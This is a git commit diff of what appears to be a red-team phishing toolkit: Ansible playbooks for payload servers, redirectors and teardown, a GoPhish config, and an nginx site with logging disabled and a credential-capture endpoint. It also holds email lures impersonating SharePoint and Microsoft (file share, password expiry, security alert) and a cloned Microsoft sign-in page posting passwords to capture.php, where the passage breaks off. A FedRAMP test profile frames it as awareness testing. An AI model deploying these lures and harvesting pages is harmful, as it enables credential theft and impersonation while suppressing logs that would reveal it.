restructuring for easier navigation and modularity
This commit is contained in:
+1
-1
@@ -24,7 +24,7 @@
|
||||
---
|
||||
|
||||
### 📍 Where I Left Off
|
||||
- Working on: Need to fix issue with AWS deployment security hardening playbook
|
||||
- Working on: Need to fix issue with AWS deployment security hardening playbook | Need to restructure I want each module in its own dir with its own tasks, templates, files and I want to move Provider playbooks into a Provider dir. I also want to break apart deploy.py and take each part for a module and make its own script that can be ran independently of the deploy script to just deploy the that module if need be
|
||||
- Next Priority: Test core deployment
|
||||
- Blockers: Sleep
|
||||
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
---
|
||||
# Payload Redirector Deployment Playbook
|
||||
- name: Deploy payload redirector
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
deployment_id: "{{ deployment_id | default('') }}"
|
||||
payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}"
|
||||
provider: "{{ provider | default('aws') }}"
|
||||
|
||||
tasks:
|
||||
- name: Deploy payload redirector based on provider
|
||||
include_tasks: "../{{ provider | upper }}/redirector.yml"
|
||||
vars:
|
||||
redirector_name: "{{ payload_redirector_name }}"
|
||||
redirector_type: "payload"
|
||||
redirector_subdomain: "{{ payload_subdomain | default('files') }}"
|
||||
|
||||
- name: Configure payload redirector
|
||||
include_tasks: "../tasks/configure_payload_redirector.yml"
|
||||
when: not skip_configuration | default(false)
|
||||
@@ -0,0 +1,23 @@
|
||||
---
|
||||
# Payload Server Deployment Playbook
|
||||
- name: Deploy payload server
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
deployment_id: "{{ deployment_id | default('') }}"
|
||||
payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}"
|
||||
provider: "{{ provider | default('aws') }}"
|
||||
|
||||
tasks:
|
||||
- name: Deploy payload server based on provider
|
||||
include_tasks: "../{{ provider | upper }}/c2.yml"
|
||||
vars:
|
||||
c2_name: "{{ payload_server_name }}"
|
||||
server_type: "payload"
|
||||
|
||||
- name: Configure payload server
|
||||
include_tasks: "../tasks/configure_payload_server.yml"
|
||||
when: not skip_configuration | default(false)
|
||||
@@ -0,0 +1,59 @@
|
||||
---
|
||||
# Phishing Infrastructure Cleanup Playbook
|
||||
- name: Clean up phishing infrastructure
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
deployment_id: "{{ deployment_id | default('') }}"
|
||||
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
|
||||
|
||||
tasks:
|
||||
- name: Load deployment state
|
||||
include_vars:
|
||||
file: "phishing_deployment_state_{{ deployment_id }}.json"
|
||||
register: deployment_state
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Show cleanup information
|
||||
debug:
|
||||
msg: |
|
||||
************************************************
|
||||
* PHISHING CLEANUP OPERATION *
|
||||
************************************************
|
||||
The following resources will be DELETED PERMANENTLY:
|
||||
- MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
|
||||
- GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
|
||||
- Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
|
||||
- Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
|
||||
{% if cleanup_payload_infra | default(false) %}
|
||||
- Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
|
||||
- Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
|
||||
{% endif %}
|
||||
when: confirm_cleanup | bool
|
||||
|
||||
- name: Confirm cleanup operation
|
||||
pause:
|
||||
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
|
||||
register: confirmation
|
||||
when: confirm_cleanup | bool
|
||||
|
||||
- name: Skip cleanup if not confirmed
|
||||
meta: end_play
|
||||
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
|
||||
|
||||
- name: Run provider-specific cleanup
|
||||
include_tasks: "../{{ provider | upper }}/cleanup.yml"
|
||||
vars:
|
||||
cleanup_redirector: true
|
||||
cleanup_c2: true
|
||||
cleanup_tracker: false
|
||||
redirector_name: "{{ phishing_redirector_name }}"
|
||||
c2_name: "{{ gophish_server_name }}"
|
||||
|
||||
- name: Remove deployment state file
|
||||
file:
|
||||
path: "phishing_deployment_state_{{ deployment_id }}.json"
|
||||
state: absent
|
||||
@@ -0,0 +1,118 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Document Shared</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="padding: 20px; border-bottom: 1px solid #edebe9;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td>
|
||||
<img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
|
||||
</td>
|
||||
<td align="right">
|
||||
<span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Hi {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
{{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
|
||||
</p>
|
||||
|
||||
<!-- File Preview -->
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
|
||||
<tr>
|
||||
<td style="padding: 20px;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td style="width: 48px; padding-right: 15px; vertical-align: top;">
|
||||
<img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
|
||||
</td>
|
||||
<td>
|
||||
<h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
|
||||
<p style="color: #605e5c; font-size: 14px; margin: 0;">
|
||||
{{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<!-- Sender Message -->
|
||||
{% if include_message | default(true) %}
|
||||
<div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
|
||||
<p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
|
||||
<p style="color: #605e5c; font-size: 14px; margin: 0;">
|
||||
{{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
|
||||
</p>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Open in SharePoint
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
|
||||
This link will expire in {{ expiry_days | default('7') }} days.<br>
|
||||
Only people with the link can access this file.
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
<p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
|
||||
Get the SharePoint mobile app
|
||||
</p>
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="padding: 0 5px;">
|
||||
<a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
|
||||
</td>
|
||||
<td style="padding: 0 5px;">
|
||||
<a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
|
||||
© {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> |
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,95 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Password Expiration Notice</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
|
||||
<img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Warning Banner -->
|
||||
<tr>
|
||||
<td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
|
||||
<table cellpadding="0" cellspacing="0" border="0">
|
||||
<tr>
|
||||
<td style="padding-right: 10px;">
|
||||
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
|
||||
</td>
|
||||
<td>
|
||||
<strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Hello {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>.
|
||||
To prevent any interruption to your access, please update your password before it expires.
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
Password requirements:
|
||||
</p>
|
||||
|
||||
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
|
||||
<li>Minimum 12 characters</li>
|
||||
<li>At least one uppercase letter</li>
|
||||
<li>At least one lowercase letter</li>
|
||||
<li>At least one number</li>
|
||||
<li>At least one special character</li>
|
||||
<li>Cannot be the same as your last 5 passwords</li>
|
||||
</ul>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Update Password Now
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
|
||||
If you're unable to click the button above, copy and paste this link into your browser:<br>
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
|
||||
This is an automated message from {{ organization | default('IT Department') }}.<br>
|
||||
Please do not reply to this email.<br>
|
||||
For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,103 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Security Alert</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
|
||||
<h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Dear {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
We detected unusual sign-in activity on your account:
|
||||
</p>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
|
||||
<tr>
|
||||
<td style="padding: 20px;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
<strong>If this was you:</strong> You can safely ignore this email.<br>
|
||||
<strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
|
||||
</p>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Secure My Account
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
|
||||
<strong>What happens next?</strong><br>
|
||||
We'll guide you through securing your account, including:
|
||||
</p>
|
||||
|
||||
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
|
||||
<li>Verifying your identity</li>
|
||||
<li>Reviewing recent account activity</li>
|
||||
<li>Updating your password</li>
|
||||
<li>Enabling additional security measures</li>
|
||||
</ul>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
|
||||
This security alert was sent to {{ "{{.Email}}" }}<br>
|
||||
© {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> |
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,87 @@
|
||||
# FedRAMP Phishing Test Compliance Configuration
|
||||
# This configuration ensures compliance with FedRAMP requirements
|
||||
|
||||
compliance_mode: fedramp
|
||||
test_type: user_awareness_only
|
||||
|
||||
# Email Configuration
|
||||
email_settings:
|
||||
# Emails must be whitelisted on all security systems
|
||||
require_whitelist: true
|
||||
bypass_security_controls: true
|
||||
|
||||
# No modification of emails allowed
|
||||
allow_header_modification: false
|
||||
allow_content_filtering: false
|
||||
|
||||
# Tracking requirements
|
||||
tracking:
|
||||
- email_opened (via pixel)
|
||||
- link_clicked
|
||||
- credentials_submitted
|
||||
- user_identity (tied to actions)
|
||||
|
||||
# Landing Page Requirements
|
||||
landing_page:
|
||||
# Must immediately identify as phishing test
|
||||
show_phishing_notice: true
|
||||
phishing_notice_text: |
|
||||
This was a phishing simulation!
|
||||
You should never enter your credentials on suspicious websites.
|
||||
|
||||
# Educational content required
|
||||
include_education: true
|
||||
education_content:
|
||||
- How to identify phishing emails
|
||||
- Red flags to watch for
|
||||
- Reporting procedures
|
||||
- Best practices for email security
|
||||
|
||||
# Reporting Requirements
|
||||
reporting:
|
||||
# No PII in reports
|
||||
anonymize_data: true
|
||||
report_format: aggregate_only
|
||||
|
||||
# Required metrics
|
||||
metrics:
|
||||
- total_emails_sent
|
||||
- emails_opened_percentage
|
||||
- links_clicked_percentage
|
||||
- credentials_submitted_percentage
|
||||
- department_breakdown
|
||||
- role_based_statistics
|
||||
|
||||
# Prohibited data
|
||||
exclude:
|
||||
- individual_names
|
||||
- specific_email_addresses
|
||||
- personal_identifiers
|
||||
|
||||
# Technical Configuration
|
||||
technical:
|
||||
# Simple campaign only
|
||||
campaign_type: basic_phishing_test
|
||||
|
||||
# No exploitation
|
||||
allow_malware: false
|
||||
allow_exploitation: false
|
||||
allow_persistence: false
|
||||
|
||||
# Clean tracking only
|
||||
tracking_methods:
|
||||
- pixel_tracking
|
||||
- unique_urls
|
||||
- form_submission
|
||||
|
||||
# Approval Process
|
||||
approval:
|
||||
requires_3pao_approval: true
|
||||
requires_template_review: true
|
||||
approval_documentation: required
|
||||
|
||||
# Post-Test Requirements
|
||||
post_test:
|
||||
notify_failures: true
|
||||
provide_training: true
|
||||
remediation_timeline: 30_days
|
||||
@@ -0,0 +1,42 @@
|
||||
{
|
||||
"admin_server": {
|
||||
"listen_url": "127.0.0.1:{{ gophish_admin_port }}",
|
||||
"use_tls": true,
|
||||
"cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
|
||||
"key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
|
||||
"trusted_origins": []
|
||||
},
|
||||
"phish_server": {
|
||||
"listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
|
||||
"use_tls": false,
|
||||
"cert_path": "",
|
||||
"key_path": ""
|
||||
},
|
||||
"db_name": "sqlite3",
|
||||
"db_path": "gophish.db",
|
||||
"migrations_prefix": "db/db_",
|
||||
"contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
|
||||
"logging": {
|
||||
"filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
|
||||
"level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
|
||||
},
|
||||
"webhook": {
|
||||
"enabled": {{ enable_webhooks | default(false) | lower }},
|
||||
"url": "{{ webhook_url | default('') }}",
|
||||
"secret": "{{ webhook_secret | default('') }}"
|
||||
},
|
||||
"email": {
|
||||
"smtp": {
|
||||
"host": "{{ mta_front_ip | default('127.0.0.1') }}",
|
||||
"port": 25,
|
||||
"use_auth": true,
|
||||
"username": "{{ smtp_auth_user }}",
|
||||
"password": "{{ smtp_auth_pass }}",
|
||||
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
|
||||
"ignore_cert_errors": true
|
||||
},
|
||||
"imap": {
|
||||
"enabled": false
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
server {
|
||||
listen 80;
|
||||
server_name _;
|
||||
|
||||
root /var/www/phishing;
|
||||
index index.html index.php;
|
||||
|
||||
# Disable all logging
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
|
||||
# PHP processing
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
}
|
||||
|
||||
# Credential capture endpoint
|
||||
location = /capture.php {
|
||||
limit_except POST { deny all; }
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
|
||||
# Template routing
|
||||
location /templates/ {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Static resources
|
||||
location /static/ {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Default
|
||||
location / {
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,220 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{{ page_title | default('Sign in to your account') }}</title>
|
||||
<style>
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: #f2f2f2;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
background: white;
|
||||
padding: 40px;
|
||||
border-radius: 2px;
|
||||
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
|
||||
width: 440px;
|
||||
max-width: 90%;
|
||||
}
|
||||
|
||||
.logo {
|
||||
text-align: left;
|
||||
margin-bottom: 24px;
|
||||
}
|
||||
|
||||
.logo img {
|
||||
height: 24px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 24px;
|
||||
font-weight: 600;
|
||||
margin-bottom: 16px;
|
||||
color: #1a1a1a;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
input[type="email"],
|
||||
input[type="password"],
|
||||
input[type="text"] {
|
||||
width: 100%;
|
||||
padding: 10px 12px;
|
||||
border: 1px solid #605e5c;
|
||||
border-radius: 2px;
|
||||
font-size: 15px;
|
||||
transition: border-color 0.2s;
|
||||
}
|
||||
|
||||
input[type="email"]:focus,
|
||||
input[type="password"]:focus,
|
||||
input[type="text"]:focus {
|
||||
outline: none;
|
||||
border-color: #0078d4;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
margin: 8px 0 16px;
|
||||
color: #0078d4;
|
||||
text-decoration: none;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.forgot-password:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.btn-primary {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
background: #0078d4;
|
||||
color: white;
|
||||
border: none;
|
||||
border-radius: 2px;
|
||||
font-size: 16px;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s;
|
||||
}
|
||||
|
||||
.btn-primary:hover {
|
||||
background: #106ebe;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #d13438;
|
||||
font-size: 13px;
|
||||
margin-top: 8px;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.loading {
|
||||
display: none;
|
||||
text-align: center;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
border: 2px solid #f3f3f3;
|
||||
border-top: 2px solid #0078d4;
|
||||
border-radius: 50%;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
animation: spin 1s linear infinite;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.footer {
|
||||
margin-top: 40px;
|
||||
font-size: 12px;
|
||||
color: #605e5c;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.footer a {
|
||||
color: #605e5c;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.footer a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="logo">
|
||||
<img src="{{ logo_url | default('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMjQiPjx0ZXh0IHg9IjAiIHk9IjIwIiBmb250LWZhbWlseT0iU2Vnb2UgVUkiIGZvbnQtc2l6ZT0iMjAiIGZpbGw9IiM1YzJkOTEiPk1pY3Jvc29mdDwvdGV4dD48L3N2Zz4=') }}" alt="Logo">
|
||||
</div>
|
||||
|
||||
<h1>{{ heading | default('Sign in') }}</h1>
|
||||
|
||||
<form id="loginForm" method="POST" action="/capture.php">
|
||||
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
|
||||
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
|
||||
|
||||
<div class="form-group">
|
||||
<input type="email"
|
||||
name="username"
|
||||
id="username"
|
||||
placeholder="{{ username_placeholder | default('Email, phone, or Skype') }}"
|
||||
required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input type="password"
|
||||
name="password"
|
||||
id="password"
|
